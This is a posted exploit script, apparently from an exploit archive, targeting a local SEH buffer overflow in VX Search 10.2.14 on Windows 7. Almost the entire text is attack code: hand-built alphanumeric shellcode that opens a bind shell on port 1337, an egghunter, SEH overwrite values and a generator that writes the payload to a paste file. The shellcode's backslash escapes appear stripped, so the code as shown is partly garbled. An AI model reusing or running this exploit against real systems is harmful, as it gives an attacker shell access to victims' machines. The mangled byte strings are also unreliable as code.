VXSearch 10.2.14 Local SEH Overflow
Posted on 17 November 2017
#!/usr/bin/env python # # Exploit Title : VXSearch v10.2.14 Local SEH Overflow # Date : 11/16/2017 # Exploit Author : wetw0rk # Vendor Homepage : http://www.flexense.com/ # Software link : http://www.vxsearch.com/setups/vxsearchent_setup_v10.2.14.exe # Version : 10.2.14 # Tested on : Windows 7 (x86) # Description : VX Search v10.2.14 suffers from a local buffer overflow. The # following exploit will generate a bind shell on port 1337. I # was unable to get a shell working with msfvenom shellcode so # below is a custom alphanumeric bind shell. Greetz rezkon ;) # # trigger the vulnerability by : # Tools -> Advanced options -> Proxy -> *Paste In Proxy Host Name # import struct shellcode = "w00tw00t" shellcode += ( "x25x4ax4dx4ex55" # and eax, 0x554e4d4a "x25x35x32x31x2a" # and eax, 0x2a313235 "x2dx6ax35x35x35" # sub eax, 0x3535356a "x2dx65x6ax6ax65" # sub eax, 0x656a6a65 "x2dx61x64x4dx65" # sub eax, 0x654d6461 "x50" # push eax "x5c" # pop esp ) shellcode += ( "x25x4ax4dx4ex55x25x35x32x31x2ax2dx4fx4fx4fx4f" "x2dx4fx30x4fx68x2dx62x2dx62x72x50x25x4ax4dx4e" "x55x25x35x32x31x2ax2dx76x57x57x63x2dx77x36x39" "x32x50x25x4ax4dx4ex55x25x35x32x31x2ax2dx41x54" "x54x54x2dx25x54x7ax2dx2dx25x52x76x36x50x25x4a" "x4dx4ex55x25x35x32x31x2ax2dx49x35x49x49x2dx49" "x25x49x69x2dx64x25x72x6cx50x25x4ax4dx4ex55x25" "x35x32x31x2ax2dx70x33x33x25x2dx70x25x70x25x2d" "x4bx6ax56x39x50x25x4ax4dx4ex55x25x35x32x31x2a" "x2dx79x55x75x32x2dx79x75x75x55x2dx79x77x77x78" "x50x25x4ax4dx4ex55x25x35x32x31x2ax2dx25x4ax4a" "x25x2dx39x5fx4dx34x50x25x4ax4dx4ex55x25x35x32" "x31x2ax2dx4bx57x4bx57x2dx70x76x4bx79x2dx70x76" "x78x79x50x25x4ax4dx4ex55x25x35x32x31x2ax2dx49" "x49x49x49x2dx49x4ex64x49x2dx78x25x78x25x2dx6f" "x25x7ax48x50x25x4ax4dx4ex55x25x35x32x31x2ax2d" "x58x58x38x58x2dx58x30x32x58x2dx51x46x2dx47x50" "x25x4ax4dx4ex55x25x35x32x31x2ax2dx5fx52x5fx5f" "x2dx5fx25x25x35x2dx62x39x25x25x50x25x4ax4dx4e" "x55x25x35x32x31x2ax2dx4ax4ax4ax4ax2dx4ax4ax4a" "x4ax2dx79x39x4ax79x2dx6dx32x4bx68x50x25x4ax4d" "x4ex55x25x35x32x31x2ax2dx30x30x71x30x2dx30x25" "x71x30x2dx38x31x51x5fx50x25x4ax4dx4ex55x25x35" "x32x31x2ax2dx32x32x32x32x2dx78x77x7ax77x50x25" "x4ax4dx4ex55x25x35x32x31x2ax2dx62x62x62x62x2d" "x48x57x47x4fx50x25x4ax4dx4ex55x25x35x32x31x2a" "x2dx76x76x4fx4fx2dx36x39x5ax5ax50x25x4ax4dx4e" "x55x25x35x32x31x2ax2dx61x61x61x61x2dx4ax61x4a" "x25x2dx45x77x53x35x50x25x4ax4dx4ex55x25x35x32" "x31x2ax2dx63x63x63x63x2dx39x63x63x2dx2dx32x63" "x7ax25x2dx31x49x7ax25x50x25x4ax4dx4ex55x25x35" "x32x31x2ax2dx72x79x79x79x2dx25x30x25x30x2dx25" "x32x25x55x50x25x4ax4dx4ex55x25x35x32x31x2ax2d" "x58x58x41x58x2dx58x58x25x77x2dx6ex51x32x69x50" "x25x4ax4dx4ex55x25x35x32x31x2ax2dx48x77x38x48" "x2dx4ex76x6ex61x50x25x4ax4dx4ex55x25x35x32x31" "x2ax2dx41x41x6ex6ex2dx31x31x30x6ex2dx37x36x30" "x2dx50x25x4ax4dx4ex55x25x35x32x31x2ax2dx38x38" "x38x38x2dx38x79x38x25x2dx38x79x38x25x2dx58x4c" "x73x25x50x25x4ax4dx4ex55x25x35x32x31x2ax2dx61" "x52x61x52x2dx37x4ax31x49x50x25x4ax4dx4ex55x25" "x35x32x31x2ax2dx4dx47x4dx4dx2dx30x25x4dx6bx2d" "x36x32x66x71x50x25x4ax4dx4ex55x25x35x32x31x2a" "x2dx36x43x43x6cx2dx33x54x47x25x50x25x4ax4dx4e" "x55x25x35x32x31x2ax2dx4cx4cx4cx4cx2dx6ex4cx6e" "x36x2dx65x67x6fx25x50x25x4ax4dx4ex55x25x35x32" "x31x2ax2dx25x25x4bx4bx2dx25x25x6fx4bx2dx4ex41" "x59x2dx50x25x4ax4dx4ex55x25x35x32x31x2ax2dx41" "x41x41x41x2dx52x52x78x41x2dx6ex6cx70x25x50x25" "x4ax4dx4ex55x25x35x32x31x2ax2dx30x6cx30x30x2d" "x30x6cx6cx30x2dx38x70x79x66x50x25x4ax4dx4ex55" "x25x35x32x31x2ax2dx42x70x70x45x2dx32x45x70x31" "x2dx25x4bx49x31x50x25x4ax4dx4ex55x25x35x32x31" "x2ax2dx25x50x50x50x2dx25x7ax72x25x2dx4ex73x61" "x52x50x25x4ax4dx4ex55x25x35x32x31x2ax2dx35x77" "x74x74x2dx61x78x35x34x50x25x4ax4dx4ex55x25x35" "x32x31x2ax2dx30x30x30x30x2dx30x30x59x30x2dx30" "x30x74x51x2dx6bx36x79x67x50x25x4ax4dx4ex55x25" "x35x32x31x2ax2dx75x38x43x43x2dx7ax31x43x43x2d" "x7ax2dx77x79x50x25x4ax4dx4ex55x25x35x32x31x2a" "x2dx59x59x59x59x2dx59x59x59x59x2dx6fx6cx4dx77" "x50x25x4ax4dx4ex55x25x35x32x31x2ax2dx45x45x45" "x45x2dx34x2dx76x45x2dx37x25x5ax65x50x25x4ax4d" "x4ex55x25x35x32x31x2ax2dx34x34x34x34x2dx62x34" "x34x34x2dx6dx56x47x57x50x25x4ax4dx4ex55x25x35" "x32x31x2ax2dx2dx2dx2dx2dx2dx76x2dx2dx76x2dx55" "x4cx55x7ax50x25x4ax4dx4ex55x25x35x32x31x2ax2d" "x77x77x77x30x2dx47x47x79x30x2dx42x42x39x34x50" "x25x4ax4dx4ex55x25x35x32x31x2ax2dx56x75x36x51" "x2dx42x61x49x43x50x25x4ax4dx4ex55x25x35x32x31" "x2ax2dx56x56x31x56x2dx31x79x31x25x2dx50x6cx48" "x34x50x25x4ax4dx4ex55x25x35x32x31x2ax2dx72x72" "x72x72x2dx72x25x38x38x2dx38x25x25x25x2dx54x41" "x30x30x50x25x4ax4dx4ex55x25x35x32x31x2ax2dx47" "x47x47x76x2dx47x47x76x76x2dx6bx72x6cx5ax50x25" "x4ax4dx4ex55x25x35x32x31x2ax2dx25x71x25x71x2d" "x73x42x63x68x50x25x4ax4dx4ex55x25x35x32x31x2a" "x2dx48x55x51x51x2dx45x78x4fx5ax50x25x4ax4dx4e" "x55x25x35x32x31x2ax2dx45x45x45x32x2dx45x45x25" "x31x2dx76x75x2dx25x50x25x4ax4dx4ex55x25x35x32" "x31x2ax2dx6ex4fx6dx6ex2dx35x48x5fx5fx50x25x4a" "x4dx4ex55x25x35x32x31x2ax2dx2dx2dx2dx2dx2dx71" "x2dx2dx71x2dx71x2dx4ax71x2dx66x65x70x62x50x25" "x4ax4dx4ex55x25x35x32x31x2ax2dx56x30x56x30x2d" "x56x38x25x30x2dx74x37x25x45x50x25x4ax4dx4ex55" "x25x35x32x31x2ax2dx32x32x32x77x2dx32x32x32x32" "x2dx43x41x4ax57x50x25x4ax4dx4ex55x25x35x32x31" "x2ax2dx63x63x63x30x2dx79x41x41x6ex50x25x4ax4d" "x4ex55x25x35x32x31x2ax2dx4bx4bx4bx4bx2dx4bx4b" "x25x31x2dx4bx71x25x32x2dx4fx6ex25x2dx50x25x4a" "x4dx4ex55x25x35x32x31x2ax2dx37x37x37x37x2dx6d" "x37x6dx37x2dx6dx37x6dx37x2dx64x55x63x58x50x25" "x4ax4dx4ex55x25x35x32x31x2ax2dx44x6cx6cx6cx2d" "x34x44x44x6cx2dx30x33x4ex54x50x25x4ax4dx4ex55" "x25x35x32x31x2ax2dx2dx7ax43x2dx2dx48x79x71x47" "x50x25x4ax4dx4ex55x25x35x32x31x2ax2dx41x41x41" "x41x2dx41x46x71x25x2dx5ax77x7ax32x50x25x4ax4d" "x4ex55x25x35x32x31x2ax2dx47x47x47x47x2dx47x6e" "x47x6ex2dx47x78x6ex78x2dx47x79x77x79x50x25x4a" "x4dx4ex55x25x35x32x31x2ax2dx74x38x69x38x2dx51" "x4ax72x52x50x25x4ax4dx4ex55x25x35x32x31x2ax2d" "x79x79x30x79x2dx4dx4dx2dx4dx2dx44x35x25x41x50" "x25x4ax4dx4ex55x25x35x32x31x2ax2dx6fx6fx6fx31" "x2dx74x25x6fx33x2dx56x32x41x25x50x25x4ax4dx4e" "x55x25x35x32x31x2ax2dx54x54x54x54x2dx72x72x54" "x54x2dx79x69x49x56x50x25x4ax4dx4ex55x25x35x32" "x31x2ax2dx70x70x70x70x2dx70x25x5ax70x2dx4ax38" "x36x72x50x25x4ax4dx4ex55x25x35x32x31x2ax2dx6d" "x6dx6dx6dx2dx6dx6dx6dx46x2dx48x76x74x25x2dx53" "x7ax25x25x50x25x4ax4dx4ex55x25x35x32x31x2ax2d" "x7ax7ax7ax43x2dx49x43x25x43x2dx25x5fx25x30x50" "x25x4ax4dx4ex55x25x35x32x31x2ax2dx51x51x51x51" "x2dx51x51x51x70x2dx38x51x61x7ax2dx25x39x70x7a" "x50x25x4ax4dx4ex55x25x35x32x31x2ax2dx37x44x37" "x6cx2dx78x30x6fx73x50x25x4ax4dx4ex55x25x35x32" "x31x2ax2dx44x25x25x44x2dx76x25x76x76x2dx63x6c" "x63x74x50x25x4ax4dx4ex55x25x35x32x31x2ax2dx42" "x47x74x4ex2dx33x6cx7ax39x50x25x4ax4dx4ex55x25" "x35x32x31x2ax2dx7ax30x66x7ax2dx76x44x4fx49x50" "x25x4ax4dx4ex55x25x35x32x31x2ax2dx41x41x41x41" "x2dx6dx67x33x6cx50x25x4ax4dx4ex55x25x35x32x31" "x2ax2dx51x51x51x51x2dx65x71x51x51x2dx49x76x7a" "x6ax50x25x4ax4dx4ex55x25x35x32x31x2ax2dx35x4a" "x42x35x2dx35x7ax7ax42x2dx76x7ax73x7ax50x25x4a" "x4dx4ex55x25x35x32x31x2ax2dx35x25x35x35x2dx35" "x25x76x35x2dx35x39x52x69x50x25x4ax4dx4ex55x25" "x35x32x31x2ax2dx74x74x74x5ax2dx36x5ax74x30x2d" "x25x32x6ax38x50x25x4ax4dx4ex55x25x35x32x31x2a" "x2dx75x75x43x75x2dx43x6fx41x30x2dx39x64x30x34" "x50x25x4ax4dx4ex55x25x35x32x31x2ax2dx74x2dx58" "x6ex2dx78x47x35x69x50x25x4ax4dx4ex55x25x35x32" "x31x2ax2dx66x79x4fx66x2dx48x7ax25x47x50x25x4a" "x4dx4ex55x25x35x32x31x2ax2dx42x42x7ax42x2dx33" "x6dx55x32x50x25x4ax4dx4ex55x25x35x32x31x2ax2d" "x61x61x61x41x2dx61x39x64x25x2dx59x33x7ax34x50" "x25x4ax4dx4ex55x25x35x32x31x2ax2dx66x66x66x66" "x2dx41x41x66x66x2dx25x33x66x66x2dx34x25x6dx43" "x50x25x4ax4dx4ex55x25x35x32x31x2ax2dx49x49x32" "x49x2dx49x59x25x49x2dx72x74x25x6dx50" ) shellcode += "A" * 4000 egghunter = "A" * 40 # serve as NOP's egghunter += ( "x25x4ax4dx4ex55" # and eax, 0x554e4d4a "x25x35x32x31x2a" # and eax, 0x2a313235 "x2dx58x58x58x58" # sub eax, 0x58585858 "x2dx58x58x67x58" # sub eax, 0x58675858 "x2dx5ax4fx2dx4f" # sub eax, 0x4f2d4f5a "x50" # push eax "x5c" # pop esp ) egghunter += ( "%JMNU%521*-%OOO-%OOO-AzayP%JMNU%521*-r-Pr-" "r%Pr-m7ukP%JMNU%521*-wwww-wwwA-wwA--k%FBP%" "JMNU%521*-Jk1J-Tk1T-sp%1P%JMNU%521*-WWM6-6" "W30-7L%%P%JMNU%521*-WNWW-W%d%-P4wTP%JMNU%5" "21*-wt7G-zIvNP%JMNU%521*-1%uu-1%u1-84KYP" ) offset = "A" * (23920-len(shellcode)) # offset to nSEH nSEH = "x74x26x75x26" # JE/JNZ + 38 (decimal) SEH = struct.pack('<L', 0x65263067) # POP,POP,RET (QtGui4.dll [asciiprint]) trigger = "A" * (40000 - ( len(offset) + len(nSEH) + len(SEH) + len(egghunter) + len(shellcode) ) ) payload = offset + shellcode + nSEH + SEH + egghunter + trigger print "[*] payload written to pasteme.txt" fd = open("pasteme.txt", 'w') fd.write(payload) fd.close()
